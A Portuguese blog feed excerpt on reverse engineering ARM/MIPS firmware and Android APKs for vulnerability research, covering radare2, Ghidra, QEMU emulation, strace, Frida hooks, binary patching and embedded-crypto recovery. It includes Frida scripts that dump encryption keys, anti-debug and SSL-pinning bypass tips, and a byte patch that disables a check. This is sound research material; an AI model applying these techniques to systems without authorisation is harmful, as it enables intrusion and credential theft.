<tbody><tr>
<td>x86-64 SysV</td>
<td>RDI, RSI, RDX, RCX, R8, R9</td>
<td>RAX</td>
<td>RAX, args RDI RSI RDX R10 R8 R9, <code>syscall</code></td>
</tr>
<tr>
<td>ARM32 AAPCS</td>
<td>R0, R1, R2, R3</td>
<td>R0 (R0:R1 se 64-bit)</td>
<td>R7, args R0-R6, <code>svc #0</code></td>
</tr>
<tr>
<td>ARM64 AAPCS64</td>
<td>X0 a X7</td>
<td>X0</td>
<td>X8, args X0-X5, <code>svc #0</code></td>
</tr>
<tr>
<td>MIPS o32</td>
<td>A0, A1, A2, A3</td>
<td>V0</td>
<td>V0, args A0-A3, <code>syscall</code></td>
</tr>
</tbody></table>
<p>Em ARM32, o caso mais comum em CPE, R4 a R11 são preservados pela função chamada, então é neles que o compilador guarda ponteiro de vida longa. R13 é SP, R14 é LR (endereço de retorno), R15 é PC.</p>
<p>Três pegadinhas que o disassembler erra e que contaminam toda a análise:</p>
<p><strong>Thumb contra ARM.</strong> ARM tem dois conjuntos de instrução, ARM de 32 bits e Thumb de 16 (Thumb-2 mistura). O modo é codificado no bit 0 do endereço da função: ímpar é Thumb. <code>BX</code> e <code>BLX</code> trocam de modo. Se o disassembler escolhe o modo errado, sai instrução-lixo plausível e você analisa ficção. Em radare2 force com <code>ahb 16</code> (Thumb) ou <code>ahb 32</code> (ARM).</p>
<p><strong>Blocos IT.</strong> Em Thumb, execução condicional vem do bloco <code>IT</code>/<code>ITT</code>/<code>ITTT</code>, que torna condicionais de 1 a 4 instruções seguintes. Decompilador erra bloco IT e gera fluxo de controle que não existe.</p>
<p><strong>Branch delay slot do MIPS.</strong> A instrução logo depois de um branch ou jump sempre executa, antes do branch tomar efeito. A instrução visualmente abaixo de <code>jr $ra</code> roda antes do retorno. O que parece código morto depois de um <code>j</code> não é morto.</p>
<p>Identificar a libc importa: <code>strings bin | grep -iE 'glibc|uclibc|musl|gcc version'</code> e <code>readelf -p .comment bin</code> costuma entregar a versão do GCC. uClibc é binário pequeno e comum em CPE, glibc é grande, musl é enxuto e sem versioning de símbolo, bionic é Android.</p>
<hr />
<h2>6. Disassembly e decompilação</h2>
<p><code>r2 -A bin</code> abre e roda a análise. Tem quem prefira Ghidra, e o decompiler do Ghidra é melhor. O r2 ganha em ser leve, scriptável por <code>r2pipe</code>, e rodar sem Java. Em projeto longo, os dois: r2 pra navegar, Ghidra noutra tela pro pseudo-C.</p>
<table>
<thead>
<tr>
<th>Comando</th>
<th>Faz</th>
</tr>
</thead>
<tbody><tr>
<td><code>aaa</code> / <code>aaaa</code></td>
<td>(re)análise, profunda</td>
</tr>
<tr>
<td><code>afl</code> / <code>afl~auth</code></td>
<td>lista funções / filtra</td>
</tr>
<tr>
<td><code>ii</code> / <code>iE</code></td>
<td>imports / exports</td>
</tr>
<tr>
<td><code>izz~http</code></td>
<td>strings do binário todo, filtradas</td>
</tr>
<tr>
<td><code>axt addr</code></td>
<td>xrefs <strong>para</strong> (quem chama)</td>
</tr>
<tr>
<td><code>axf addr</code></td>
<td>xrefs <strong>a partir de</strong></td>
</tr>
<tr>
<td><code>s sym.func</code> / <code>s 0x39170</code></td>
<td>seek</td>
</tr>
<tr>
<td><code>pdf</code> / <code>pd 30</code> / <code>pd -10</code></td>
<td>disassembly da função / 30 instr / 10 pra trás</td>
</tr>
<tr>
<td><code>pdg</code></td>
<td>decompilador (plugin <code>r2ghidra</code>)</td>
</tr>
<tr>
<td><code>VV</code></td>
<td>grafo de fluxo (<code>q</code> sai)</td>
</tr>
<tr>
<td><code>/ texto</code> / <code>/x e3530001</code></td>
<td>busca string / hex</td>
</tr>
<tr>
<td><code>afn nome addr</code></td>
<td>renomeia função</td>
</tr>
<tr>
<td><code>agc</code></td>
<td>callgraph</td>
</tr>
</tbody></table>
<p>O fluxo que eu uso, e que usei pra reverter aquele agente de CPE de cerca de 600 funções stripadas. Primeiro mapeio o callgraph e olho os imports pra saber o que o binário sabe fazer. Depois escolho um alvo: o que chama <code>system</code>, o que configura TLS, o que mexe com cripto. <code>axt sym.imp.system</code> lista todo chamador do sink. Pra cada um, <code>s</code> até lá e <code>pdf</code>. Rastreio o registrador do argumento de trás pra frente com <code>pd -N</code> até a origem do dado. Quando o binário usa uma biblioteca conhecida, o truque que mais acelera é comparar a sequência de chamadas com o código-fonte da lib: vendo <code>curl_easy_setopt</code> com um certo número de opção e o valor <code>0</code>, você abre o header do curl, confere que aquele número é <code>CURLOPT_SSL_VERIFYPEER</code>, e sabe sem dúvida que a verificação de certificado foi desligada.</p>
<p>Automação com r2pipe, pra varredura em lote:</p>
<pre><code class="language-python">import r2pipe
r2 = r2pipe.open("bin")
r2.cmd("aaa")
for ref in r2.cmdj("axtj sym.imp.system"):     # axtj = JSON
    print(hex(ref["from"]), ref.get("fcn_name"))
</code></pre>
<p>Ghidra paralelo. Pro pseudo-C ele ganha do r2, principalmente em ARM com saltos condicionais e em código com OLLVM. Equivalências de quem alterna entre os dois: ir pra endereço <code>s 0x...</code> é <code>g</code>, renomear é <code>L</code>, xrefs é clique direito → References, decompiler é nativo (não precisa do plugin <code>r2ghidra</code>). Pra script em lote, <code>analyzeHeadless</code> é o equivalente do <code>r2pipe</code>: roda um script Python ou Java em N binários sem abrir GUI, ideal pra varrer um diretório de firmware atrás do mesmo padrão.</p>
<hr />
<h2>7. APK e Android</h2>
<p>APK é um ZIP: <code>AndroidManifest.xml</code> (XML binário), <code>classes.dex</code> e <code>classes2.dex</code>, <code>classes3.dex</code> em app grande, <code>resources.arsc</code>, <code>res/</code>, <code>assets/</code>, <code>lib/&lt;abi&gt;/*.so</code>, <code>META-INF/</code>.</p>
<pre><code class="language-bash">unzip -l app.apk                              # estrutura, sem decompilar
apkid app.apk                                 # packer, compilador, anti-análise antes de decompilar
jadx -d jadx_out app.apk                      # Java reconstruído (CLI p/ APK grande)
jadx-gui app.apk                              # navegação interativa
apktool d -f -o apktool_out app.apk           # smali + recursos + manifest legível
</code></pre>
<p><code>jadx</code> decompila Dalvik. Quando ele falha num método (ofuscação pesada, bytecode estranho), caia pro smali do <code>apktool</code>, que sempre sai. Os mesmos passos valem pra amostra hostil; a diferença é postura: diretório isolado, sem rede, você decompila e lê, nunca instala nem executa.</p>
<h3>Antes de tudo: que framework é</h3>
<p>Se a lógica não está no dex, <code>jadx</code> te mostra um shell vazio. Identifique no primeiro minuto.</p>
<table>
<thead>
<tr>
<th>Framework</th>
<th>Identifica por</th>
<th>Lógica está em</th>
</tr>
</thead>
<tbody><tr>
<td>Dalvik puro</td>
<td>só <code>classes*.dex</code> relevante</td>
<td>o dex, <code>jadx</code> resolve</td>
</tr>
<tr>
<td>Flutter</td>
<td><code>libflutter.so</code> + <code>libapp.so</code></td>
<td><code>libapp.so</code>, snapshot AOT de Dart</td>
</tr>
<tr>
<td>React Native</td>
<td><code>assets/index.android.bundle</code></td>
<td>bundle JS, ou bytecode Hermes (magic <code>c6 1f bc 03</code>)</td>
</tr>
<tr>
<td>Cordova/Capacitor</td>
<td><code>assets/www/</code></td>
<td>app web inteiro em <code>www/</code></td>
</tr>
<tr>
<td>Xamarin/MAUI</td>
<td><code>assemblies/</code>, <code>libmonodroid.so</code></td>
<td>DLLs .NET, abre no ILSpy/dnSpy</td>
</tr>
<tr>
<td>Unity</td>
<td><code>libil2cpp.so</code>, <code>global-metadata.dat</code></td>
<td>IL2CPP, reconstrói com Il2CppDumper</td>
</tr>
</tbody></table>
<p>Flutter ignora <code>jadx</code>: <code>reFlutter</code> repatcheia a engine, <code>Blutter</code> reconstrói nomes de classe do snapshot. React Native com bytecode Hermes desmonta com <code>hbctool</code> ou <code>hermes-dec</code>.</p>
<h3>Manifest e smali</h3>
<pre><code class="language-bash">cat apktool_out/AndroidManifest.xml
</code></pre>
<p>Smali em trinta segundos. Tipos: <code>V</code> void, <code>Z</code> boolean, <code>I</code> int, <code>J</code> long, <code>L pacote/Classe;</code> objeto, <code>[</code> prefixa array. Registradores: <code>p0</code> é o <code>this</code>, <code>p1</code>... os parâmetros, <code>v0</code>... os locais. <code>const-string</code> carrega literal, <code>sget-object</code> lê campo estático, <code>invoke-virtual</code>/<code>invoke-static</code>/<code>invoke-direct</code> chamam método. Quando o <code>jadx</code> esconde uma string montada no <code>&lt;clinit&gt;</code>, ela está no smali.</p>
<h3>Código nativo (JNI)</h3>
<p>A função nativa que o Java chama segue <code>Java_pacote_Classe_metodo</code>, e o primeiro argumento de toda função JNI é <code>JNIEnv*</code>, o segundo é o <code>this</code>. App que não quer o nome exposto não usa esse mangling: registra a função em runtime via <code>RegisterNatives</code>, normalmente dentro de <code>JNI_OnLoad</code>. <code>RegisterNatives</code> recebe um array de <code>{nome, assinatura, ponteiro}</code>. Pra achar a função real, vá em <code>JNI_OnLoad</code>, siga até o <code>RegisterNatives</code>, leia o array.</p>
<pre><code class="language-bash">nm -D --defined-only libnative.so | grep Java_
</code></pre>
<hr />
<h2>8. Emulação</h2>
<p>Rodar o binário sem o hardware. Pra um ELF standalone, <code>qemu-user</code> resolve. Pra firmware inteiro, <code>qemu-system</code> ou FirmAE.</p>
<p>O caso que vale detalhar é emular um binário de firmware com dependências proprietárias, que foi o que fiz com aquele agente de CPE. Ele é ARM, dinâmico, linkado contra uClibc, e carrega <code>.so</code> próprias de um diretório fora do padrão. A receita:</p>
<pre><code class="language-bash"># 1. monte um sysroot: copie o rootfs extraído do firmware
rsync -a _firmware.extracted/rootfs/ ./sysroot/

# 2. -L aponta o QEMU pro sysroot (onde achar o interpretador uClibc e libs)
# 3. LD_LIBRARY_PATH cobre o diretório proprietário de .so
env LD_LIBRARY_PATH=/Plugin/agente/lib:/lib \
  qemu-arm-static -L ./sysroot ./sysroot/usr/bin/agente --base_domain https://exemplo
</code></pre>
<p><code>qemu-arm-static</code> é estático, roda direto no host x86. O <code>-L sysroot</code> (equivale a setar <code>QEMU_LD_PREFIX</code>) é o que faz o loader uClibc do ARM ser encontrado, sem isso o binário nem inicia. Quando o binário reclama de algo que não existe no QEMU (um <code>/dev</code> específico, uma partição), você stuba: arquivo vazio, symlink, ou um valor fixo. Não é elegante, funciona.</p>
<p>Pra firmware completo, <code>qemu-system-arm</code> com kernel e device tree compatíveis, ou FirmAE, que automatiza e funciona em parte dos casos.</p>
<hr />
<h2>9. Debugging e tracing</h2>
<pre><code class="language-bash">qemu-arm -g 1234 -L ./sysroot ./bin           # emula e espera o gdb na 1234
gdb-multiarch ./bin
  target remote :1234
  set architecture arm
  b *0x39170
  x/s $r0                                     # string apontada por registrador
  x/16xw $sp                                  # 16 words da stack
  info registers
</code></pre>
<p><code>strace</code> e <code>ltrace</code> mostram comportamento sem você ler assembly. E têm um uso que vale destacar: reverter o protocolo de rede de um binário sem decifrar TLS nenhum. O syscall <code>connect</code> revela IP e porta dos endpoints, <code>openat</code> revela cada arquivo tocado, e <code>read</code>/<code>write</code>/<code>send</code> carregam o payload. Quando o protocolo não é cifrado, ou quando a verificação de TLS do próprio binário está quebrada, o que cruza o <code>write</code> é texto claro.</p>
<pre><code class="language-bash">strace -ff -s 8192 -xx \
  -e trace=connect,openat,read,write,send,sendto,recvfrom,writev,sendmsg \
  -o trace.log \
  env LD_LIBRARY_PATH=... qemu-arm-static -L ./sysroot ./bin --base_domain https://exemplo
</code></pre>
<p>Os flags importam. <code>-ff</code> segue forks, um arquivo de log por PID. <code>-s 8192</code> evita o truncamento padrão de 32 bytes, que cortaria um JSON no meio. <code>-xx</code> despeja em hex mais ASCII, recuperando dado binário. Depois é só garimpar o log:</p>
<pre><code class="language-bash">grep -hEo '\{[^}]{10,}\}' trace.log*          # candidatos a JSON
grep -Eo 'https?://[^ ]+' trace.log* | sort -u # endpoints
</code></pre>
<p>Foi assim que eu peguei o formato exato da mensagem de registro daquele agente, com os nomes de campo e o material que ele mandava, sem montar servidor nenhum.</p>
<hr />
<h2>10. Instrumentação dinâmica</h2>
<p><code>strace</code> mostra a borda de syscall. Frida (de Ole André Vadla Ravnås) mostra qualquer função, com argumento e retorno, em runtime.</p>
<pre><code class="language-bash">frida-ps -Uai
frida -U -f com.pkg -l hook.js --no-pause     # spawn + injeta
</code></pre>
<p>Dump de toda chave simétrica que o app instancia, não importa como foi derivada:</p>
<pre><code class="language-js">Java.perform(function () {
  const SKS = Java.use('javax.crypto.spec.SecretKeySpec');
  SKS.$init.overload('[B', 'java.lang.String').implementation = function (k, a) {
    console.log('[SecretKeySpec] alg=' + a + ' key=' + bytesToHex(k));
    return this.$init(k, a);
  };
});
</code></pre>
<p>Hook em função nativa dentro de uma <code>.so</code>, quando a lógica está no C:</p>
<pre><code class="language-js">const base = Module.getBaseAddress('libnative.so');
Interceptor.attach(base.add(0x4a10), {     // offset a partir da base do módulo
  onEnter(args) { this.p = args[2]; },     // args[0]=JNIEnv, args[1]=this
  onLeave(ret)  { console.log('ret=' + Memory.readUtf8String(this.p)); }
});
</code></pre>
<h3>Anti-Frida e anti-debug</h3>
<p>O binário detecta o instrumentador e fecha, ou finge funcionar. Conhecer a checagem é saber o que esconder. As detecções comuns: varrer <code>/proc/self/maps</code> atrás de <code>frida-agent</code> ou <code>linjector</code>; testar a porta 27042 (default do <code>frida-server</code>); achar thread chamada <code>gmain</code> ou <code>gum-js-loop</code>; ler <code>TracerPid</code> em <code>/proc/self/status</code> (diferente de zero indica debugger). Bypass: renomear o <code>frida-server</code> no device, usar <code>frida-gadget</code> embutido via repack, fazer <code>spawn</code> com <code>--no-pause</code> pra hookar a checagem antes dela rodar, ou simplesmente substituir o retorno da função de detecção.</p>
<hr />
<h2>11. Patching binário</h2>
<p>Modificar o binário pra ele se comportar do jeito que você precisa pra analisar: pular uma checagem, redirecionar uma URL, neutralizar uma proteção. Patch in-place, preservando tamanho.</p>
<p>Exemplo real, sanitizado. Aquele agente de CPE validava a resposta de um comando comparando um contador com uma constante, e abortava se não batesse. Isso atrapalhava a análise dinâmica. A instrução, em ARM32, no offset <code>0x39170</code>:</p>
<pre><code class="language-plaintext">0x39170:  01 00 53 e3    cmp r3, 1        ; bytes little-endian da word 0xE3530001
0x39174:  23 00 00 0a    beq 0x39208      ; pula se igual
</code></pre>
<p>O patch troca a comparação de "r3 contra o imediato 1" por "r3 contra r3", que é sempre verdadeira, então o <code>beq</code> sempre é tomado e a checagem deixa de barrar:</p>
<pre><code class="language-plaintext">0x39170:  03 00 53 e1    cmp r3, r3       ; word 0xE1530003
</code></pre>
<p>Mudaram dois bytes. O <code>e3</code> (cmp com imediato) virou <code>e1</code> (cmp com registrador), e o operando <code>01</code> virou <code>03</code> (r3). Pra achar e aplicar:</p>
<pre><code class="language-bash">xxd -s 0x39170 -l 8 bin                       # confirma os bytes no offset
printf '\x03\x00\x53\xe1' | dd of=bin bs=1 seek=$((0x39170)) conv=notrunc
xxd -s 0x39170 -l 8 bin                       # verifica o patch
</code></pre>
<p>O segundo tipo de patch foi em string. O binário buscava uma URL fixa em <code>.rodata</code>. Sobrescrevendo essa string in-place, com o cuidado de não passar do tamanho original, dá pra apontar pro seu ambiente de análise. URL aceita barra no fim sem quebrar o parse, então sobra de espaço se preenche com <code>/</code>. O mesmo <code>dd ... conv=notrunc</code>, ou um script Python com <code>struct</code>, aplica.</p>
<p>Conferir se o patch fez efeito é rodar o binário emulado (seção 8) e olhar o <code>strace</code> (seção 9). Se a checagem que tu neutralizou levava a <code>exit</code> ou a uma chamada que aparecia no trace, e essa chamada agora some, o patch pegou. Patch silencioso, que não muda comportamento observável, geralmente é patch errado.</p>
<p>Regra de ouro do patching: preserve o tamanho do arquivo. Mudar o tamanho desloca todo offset seguinte, quebra a tabela de seções, e o ELF não carrega mais. Patch é substituir bytes, nunca inserir.</p>
<p>Quando não patchar. Frida hookando a mesma checagem em runtime resolve o mesmo problema sem alterar o binário, e é melhor quando o binário tem assinatura ou checksum, quando tu precisa alternar entre comportamento patchado e original na mesma sessão, ou quando tu quer comparar os dois lados sem reabrir o arquivo. Patching ganha quando precisa distribuir o binário pra rodar em outro lugar (lab emulado num colega, fuzzer rodando offline), quando o alvo não aceita instrumentação, ou quando a alteração é permanente (URL apontada pra endpoint controlado).</p>
<p>Equipamento com bootloader que valida assinatura do filesystem (CPE moderno de fabricante grande quase sempre faz) recusa imagem patchada. Aí o patch da seção do binário não passa no boot, e a saída é ou bypass do verificador (que volta pra seção 2, e às vezes exige glitching), ou patchar o processo já carregado em memória via Frida ou kernel module, sem tocar na flash.</p>
<hr />
<h2>12. Deobfuscação e unpacking</h2>
<p>APK que abre no <code>jadx</code> sem erro e tem só uma <code>MainActivity</code> minúscula está empacotado. O <code>classes.dex</code> real é descomprimido em runtime. <code>.so</code> com nome tipo <code>libjiagu</code>, <code>libsecexe</code>, <code>libsecmain</code> é packer (Jiagu, Bangcle, SecNeo). O caminho é dumpar o dex da memória depois que o packer o carregou, com Frida hookando <code>DexClassLoader</code> ou <code>DefineClass</code>, ou ferramentas como <code>frida-dexdump</code>.</p>
<p>Em código nativo, Obfuscator-LLVM (OLLVM) deixa três marcas. Control flow flattening transforma o fluxo num laço gigante com um <code>switch</code> central despachando blocos por uma variável de estado, o grafo vira uma estrela. Bogus control flow injeta caminho morto guardado por condição opaca. Instruction substitution troca uma operação simples por uma sequência equivalente esquisita. Reconhecer o dispatcher achatado é o primeiro passo; pra remediar há plugins de deobfuscação pra Ghidra e IDA, ou execução simbólica resolvendo a variável de estado.</p>
<p>Pistas de ofuscação em Java: classe e método de uma ou duas letras é R8 ou ProGuard; string que virou chamada de um método decodificador é string encryption.</p>
<hr />
<h2>13. Reverter cripto embarcada</h2>
<p>Reconhecer o que tu está vendo, antes de tentar quebrar. Codificação não é cifra: <code>A-Za-z0-9+/</code> com <code>=</code> no fim e comprimento múltiplo de 4 é base64, decodifica e segue. Cifra de bloco deixa rastro no tamanho: AES tem bloco de 16 bytes, ciphertext em ECB ou CBC tem comprimento múltiplo de 16; DES e 3DES têm bloco de 8; RSA produz saída do tamanho da chave, 256 bytes pra RSA-2048. Se o "token" tem exatamente 256 bytes, é quase certo RSA. ECB se denuncia sozinho: blocos de plaintext idênticos viram blocos de ciphertext idênticos, e se tu cifra uma imagem com regiões de cor sólida ainda dá pra ver o contorno. Vale o mesmo pra config estruturada com campo repetido.</p>
<p>Firmware que cifra um cofre de credencial quase sempre usa a mesma receita: uma chave mestra em texto puro num arquivo, uma derivação simples (shift de bytes, concatenação, um SHA-256) e AES-256-CBC. Reverter isso é RE: você lê a função de derivação no disassembly e a reproduz.</p>
<p>No r2, ache a função pelas chamadas a <code>EVP_DecryptInit_ex</code>, <code>SHA256</code>, <code>AES_set_*</code>. Leia passo a passo o que ela faz com o material da chave. Reproduza em Python:</p>
<pre><code class="language-python">from Crypto.Cipher import AES
import hashlib
key = hashlib.sha256(material_a).digest()        # 32 bytes
iv  = hashlib.sha256(material_b).digest()[:16]   # 16 bytes
pt  = AES.new(key, AES.MODE_CBC, iv).decrypt(ct)
</code></pre>
<p>A armadilha que custa tempo: o decompiler nomeia uma variável de <code>key</code> e outra de <code>iv</code> por causa de um <code>memset</code> anterior, mas no call site do <code>EVP_DecryptInit_ex</code> os ponteiros entram trocados. O nome é hipótese. A posição do argumento é fato. Em conflito, confie no dataflow.</p>
<hr />
<h2>14. Patch diffing</h2>
<p>Pega duas versões do mesmo firmware ou do mesmo binário e compara. O que mudou entre v1 e v2 costuma ser o que o fabricante consertou sem dizer.</p>
<pre><code class="language-bash">diff &lt;(binwalk fw_v1.bin) &lt;(binwalk fw_v2.bin)   # macro: o que mudou
diff -rq rootfs_v1/ rootfs_v2/                    # quais arquivos diferem
</code></pre>
<p>No nível de função, BinDiff (zynamics, hoje Google) e Diaphora (Joxean Koret) casam funções entre as duas versões e destacam as que mudaram. O sinal de ouro é uma função que ganhou um bloco novo de validação, um bounds check, uma chamada de sanitização. Essa função tinha bug na v1, e o diff te entrega exatamente onde olhar.</p>
<hr />
<h2>15. Execução simbólica</h2>
<p>Quando o caminho até um ponto do código depende de uma condição de input específica, e resolver na mão é chato, execução simbólica resolve o input pra você.</p>
<pre><code class="language-python">import angr
proj  = angr.Project('bin', auto_load_libs=False)
simgr = proj.factory.simulation_manager(proj.factory.entry_state())
simgr.explore(find=0x39208, avoid=[0x392a0])
if simgr.found:
    print(simgr.found[0].posix.dumps(0))         # input que leva ao endereço
</code></pre>
<p>angr (da equipe do angr, Shellphish/UC Santa Barbara) vale quando o caminho é complexo. Não vale quando o binário é grande e o número de estados explode. Mitigue: comece o estado de um endereço perto do alvo (<code>blank_state(addr=...)</code>) em vez do entrypoint, e marque simbólico só o que interessa, o resto concreto.</p>
<hr />
<h2>16. Reverter um protocolo</h2>
<p>Binário que fala um protocolo proprietário, sem documentação. A reconstrução combina o que já apareceu nas seções anteriores. Estática primeiro: as strings entregam URLs, nomes de endpoint, nomes de campo, verbos. O disassembly da função que monta a mensagem mostra a ordem dos campos e os tipos. Dinâmica depois: <code>strace</code> nos syscalls de rede captura a mensagem real cruzando o <code>write</code>, e se o protocolo for cifrado você reverte o lado servidor (um servidor mínimo que responde o que o binário espera) pra fazer o binário continuar falando e revelar mais do fluxo.</p>
<p>Foi assim que reconstruí o protocolo de registro daquele agente: as strings deram os endpoints e o esqueleto do JSON, o disassembly deu a ordem de montagem dos campos, e o <code>strace</code> confirmou a mensagem exata no fio. Pra protocolo binário sem nome de campo no payload, se for protobuf, <code>protoc --decode_raw &lt; blob.bin</code> mostra os campos por número e tipo, e você reconstrói o <code>.proto</code> a partir daí.</p>
<p>Reconhecer encoding no fio quando o protocolo é binário e tu não tem fonte. Protobuf começa com um varint de field-tag onde os 3 bits baixos são o wire type (0 varint, 1 fixed64, 2 length-delimited, 5 fixed32), e o resto é o número do campo. TLV custom costuma ter prefixo de 1, 2 ou 4 bytes de tamanho, identifica olhando se o tamanho anunciado bate com o resto do payload. MessagePack começa com byte de tipo numa faixa pequena (mapa em <code>80-8f</code> ou <code>de</code>/<code>df</code>, array em <code>90-9f</code> ou <code>dc</code>/<code>dd</code>). CBOR tem estrutura parecida com major types diferentes. BSON e similares têm o tamanho total como primeiro <code>int32</code> little-endian. Se nada disso encaixa, é blob proprietário e a única saída é o disassembly da função que monta o pacote.</p>
<hr />
<h2>17. Armadilhas</h2>
<p><code>file</code> mente em artefato com header customizado. Confira os bytes.</p>
<p>Entropia alta não é sempre cripto, pode ser só compressão. Olhe se tem header de gzip, xz ou lzma antes de concluir.</p>
<p>O decompiler dá hipótese, não verdade. Ghidra e jadx erram tipo, erram nome, erram bloco IT. Em decisão importante, leia o assembly ou o smali cru.</p>
<p>Em binário PIE, todo endereço é relativo à base. O <code>0x39170</code> que você anotou no r2 só vale somado à base de carga real em runtime.</p>
<p><code>binwalk</code> reconhecer um SquashFS não quer dizer que extrai. Tenha <code>sasquatch</code>, <code>jefferson</code>, <code>ubireader</code> à mão.</p>
<p>APK que abre limpo no <code>jadx</code> e só tem uma <code>MainActivity</code> minúscula está empacotado. O dex real aparece em runtime.</p>
<p>Binário ARM lido no modo errado (ARM em vez de Thumb) vira instrução-lixo plausível. Na dúvida, force o modo e compare.</p>
<p>A instrução depois de um branch em MIPS executa. Sempre. Não é código morto.</p>
<p>Patching que muda o tamanho do arquivo desloca todo offset e quebra o ELF. Substitua bytes, nunca insira.</p>
<p>Emular binário dinâmico sem o <code>-L sysroot</code> correto falha logo no loader, e a mensagem de erro não diz que o problema é o interpretador. Se o <code>qemu-user</code> morre antes do <code>main</code>, suspeite do interpretador e das libs antes de qualquer outra coisa.</p>
<hr />
<p>Esse arquivo nunca está fechado. Cada coisa nova que me faz perder uma tarde vira uma linha aqui.</p>
]]></content:encoded></item><item><title><![CDATA[Engenharia reversa aplicada à análise de vulnerabilidades: binários ARM e bytecode Dalvik]]></title><description><![CDATA[Esse texto começou como rascunho. Foi se acumulando ao longo dos últimos meses, enquanto eu abria firmware e APK atrás de coisa quebrada. Cheguei num ponto em que o workflow virou automático, e isso é]]></description><link>https://t1m3rev.hashnode.dev/engenharia-reversa-aplicada-an-lise-de-vulnerabilidades-bin-rios-arm-e-bytecode-dalvik</link><guid isPermaLink="true">https://t1m3rev.hashnode.dev/engenharia-reversa-aplicada-an-lise-de-vulnerabilidades-bin-rios-arm-e-bytecode-dalvik</guid><category><![CDATA[reverse engineering]]></category><category><![CDATA[cybersecurity]]></category><category><![CDATA[CVE]]></category><category><![CDATA[brazil]]></category><dc:creator><![CDATA[Viktor Mota]]></dc:creator><pubDate>Fri, 22 May 2026 17:38:41 GMT</pubDate><content:encoded><![CDATA[<p>Esse texto começou como rascunho. Foi se acumulando ao longo dos últimos meses, enquanto eu abria firmware e APK atrás de coisa quebrada. Cheguei num ponto em que o workflow virou automático, e isso é o momento certo pra escrever ele inteiro, antes que vire intuição opaca que nem eu mesmo consigo destrinchar. Esse post é o resultado, do momento que eu recebo o binário até o momento que eu entendo o sistema bem o suficiente pra ter um PoC na mão.</p>
<p>Não é tutorial nem referência. É como eu trabalho, com as opiniões fortes que eu fui juntando no caminho. O assunto aqui é engenharia reversa, o trabalho de leitura. As CVEs que saem disso são subproduto, e aparecem de passagem, sanitizadas. Algumas coisas vão soar óbvias pra quem já faz isso. Outras vão soar estranhas pra quem nunca fez. Tudo bem.</p>
<p>Aviso de sempre: tem parte que eu não posso detalhar ainda. Um dos casos que aparece mais pra frente está em disclosure coordenado, com embargo até julho de 2026. Quando cair, eu volto e escrevo a análise completa daquele caso. Por enquanto, quando o exemplo vier de lá, eu falo no genérico e tiro tudo que identifica o alvo. O mesmo vale pros projetos que ainda estão em triagem: a técnica vai inteira, o nome do produto não.</p>
<h2>A mentalidade antes da ferramenta</h2>
<p>Existe um padrão que eu vi tanta vez que virou meu primeiro filtro mental. O engenheiro de software médio confia na camada anterior. O front confia no back, o back confia no proxy, o proxy confia no firewall, o firewall confia que ninguém entrou na rede interna, a rede interna confia que ninguém tem credencial vazada. Cada camada empurrando a responsabilidade pra próxima. Em algum ponto dessa cadeia, alguém deixou de validar uma coisa porque "a outra camada já valida".</p>
<p>Engenharia reversa, na prática, é achar onde essa confiança quebra. Você procura o ponto em que a entrada do usuário atravessa sem ser checada de novo, e onde alguma camada faz algo perigoso com essa entrada: executa um comando, lê um arquivo, monta uma query, constrói uma URL.</p>
<p>A segunda coisa que virou mentalidade é a seguinte: se está embarcado no artefato, está vazado. APK distribuído na Play Store, firmware servido por HTTP do servidor de update, config.bin baixado da interface web do roteador. Qualquer coisa dentro de um artefato que sai do controle do fabricante e chega no dispositivo do usuário tem que ser tratada como pública. Isso inclui chave RSA "privada", credencial "encriptada", token "ofuscado". Se eu consigo extrair, o adversário também consegue.</p>
<p>Terceira: proteção homogênea é ilusão. Quando um fabricante distribui o mesmo firmware, ou o mesmo APK, pra milhões de dispositivos com a mesma chave compartilhada, ele criou uma chave única que destranca a frota inteira. Comprometeu um, comprometeu todos, ao mesmo tempo. Eu vejo isso em quase todo firmware de CPE que eu abro e em boa parte dos APKs corporativos que analiso.</p>
<h2>De onde vem o material</h2>
<p>Todo material que eu analiso ou é de equipamento meu, ou veio de pacote distribuído publicamente. Não tem etapa de invasão em lugar nenhum desse workflow.</p>
<p>Pra firmware de CPE, o caminho que mais funcionou pra mim é o backup de configuração. Quase todo modem residencial tem na interface web uma função tipo "Advanced Settings &gt; Backup". Você baixa um config.bin que, descriptografado com a ferramenta certa pra cada fabricante, revela um XML enorme com a configuração inteira do equipamento. No meio desse XML costuma ter uma seção de update com a URL exata do firmware atual no servidor do operador. Eu nunca vi essa URL exigir autenticação. O binwalk extrai o conteúdo em segundos. Em 2017, quando trabalhei em ISP, eu já via um padrão parecido com os CPEs Huawei da época.</p>
<p>Outra rota é UART. Abre o equipamento, identifica os quatro pinos do header serial (VCC, GND, TX, RX), liga num USB-TTL de quinze reais, abre <code>screen /dev/ttyUSB0 115200</code> e tem boa chance de cair direto no console do U-Boot. Dali você dumpa a NAND inteira com comando do próprio bootloader. Em CPE residencial brasileiro a senha do U-Boot quase sempre é fraca, default, ou não existe.</p>
<p>Pra APK Android, eu baixo do APKMirror ou do APKPure. Se o app não está em store pública, caso de app interno que precisa estar no celular do funcionário, o caminho é extrair de um aparelho onde ele já está instalado. <code>adb shell pm path com.example.app</code> me diz o caminho do APK no dispositivo, e <code>adb pull</code> traz pra minha máquina.</p>
<p>Pra API web, o vetor quase sempre é o próprio app mobile da empresa. Instalo o app, configuro o proxy, instalo o certificado raiz do proxy no dispositivo, e capturo o tráfego enquanto uso o app normalmente. Na maioria dos casos isso já me dá os endpoints, os formatos de request e os tokens de autenticação. Se o app tem SSL pinning eu uso Frida pra contornar, mas isso é menos comum do que se imagina, principalmente em apps de empresa pequena e média.</p>
<h2>Estática primeiro, quase sempre</h2>
<p>Análise estática antes da dinâmica, quase sempre. Dinâmica é mais cara em tempo, mais arriscada (você pode brickar equipamento, acionar WAF, ser detectado) e depende de o equipamento estar ligado e funcionando. Estática você faz no seu ritmo, em qualquer máquina, e o resultado é reproduzível.</p>
<p>A exceção é alvo com janela de acesso curta. Equipamento emprestado por um colega que volta a usar em uma semana, ou ambiente de teste que vai ser desmontado. Aí eu inverto a ordem, capturo tudo que der na dinâmica enquanto tenho acesso, e levo o material pra mesa pra analisar com calma depois. Mas é exceção.</p>
<h2>Firmware: abrindo a imagem</h2>
<p>Depois que o <code>binwalk -eMq imagem.bin</code> cospe um diretório com o filesystem extraído, a primeira coisa que eu rodo são três comandos que dão um mapa do território.</p>
<pre><code class="language-bash"># 1. Quais binários ELF existem, e qual a arquitetura?
find . -type f -exec file {} \; | grep ELF | sort -u

# 2. Quais scripts existem (web, init, config)?
find . \( -name "*.lua" -o -name "*.sh" -o -name "*.lp" \) -print

# 3. Tem credencial em clear text em algum lugar óbvio?
